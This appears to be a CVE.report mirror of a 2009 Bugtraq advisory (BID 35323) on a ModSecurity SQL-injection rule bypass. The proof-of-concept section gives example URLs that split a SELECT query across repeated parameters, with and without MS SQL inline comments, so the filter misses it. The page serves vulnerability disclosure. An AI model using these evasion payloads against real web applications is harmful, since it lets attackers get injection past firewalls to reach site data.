ModSecurity SQL Injection Rule Security Bypass Vulnerability

BID:35323

Info

ModSecurity SQL Injection Rule Security Bypass Vulnerability

Bugtraq ID: 35323
Class: Unknown
CVE:
Remote: Yes
Local: No
Published: Jun 11 2009 12:00AM
Updated: Jun 15 2009 08:19PM
Credit: Lavakumar Kuppan
Vulnerable: Breach Security ModSecurity 2.5.9
Breach Security ModSecurity 2.5.8
Breach Security ModSecurity 2.5.6
Breach Security ModSecurity 2.5.5
Not Vulnerable:

Discussion

ModSecurity SQL Injection Rule Security Bypass Vulnerability

ModSecurity is prone to a security-bypass vulnerability because it fails to sufficiently validate user-supplied input.

An attacker can exploit this issue to bypass certain security restrictions and perform various web-application attacks.

ModSecurity 2.5.9 and prior versions are vulnerable.

Exploit / POC

ModSecurity SQL Injection Rule Security Bypass Vulnerability

The following examples are available to demonstrate this issue:

http://www.example.com/search.aspx?value=select 1&value=2,3 from table

ModSecurity Interpretation:
value = select 1
value = 2,3 from table
Web Application Interpretation:
value select 1,2,3 from table

The attack can be made more flexible by using the inline comment feature in MS SQL servers:

http://www.example.com/search.aspx?value=select/*&value=*/1,2,3/*&value=*/from/*&value=*/table

ModSecurity Interpretation:
value=select/*
value=*/1,2,3/*
value=*/from/*
value=*/table
Web Application Interpretation:
value = select/*,*/1,2,3/*,*/from/*,*/table

Solution / Fix

ModSecurity SQL Injection Rule Security Bypass Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

ModSecurity SQL Injection Rule Security Bypass Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report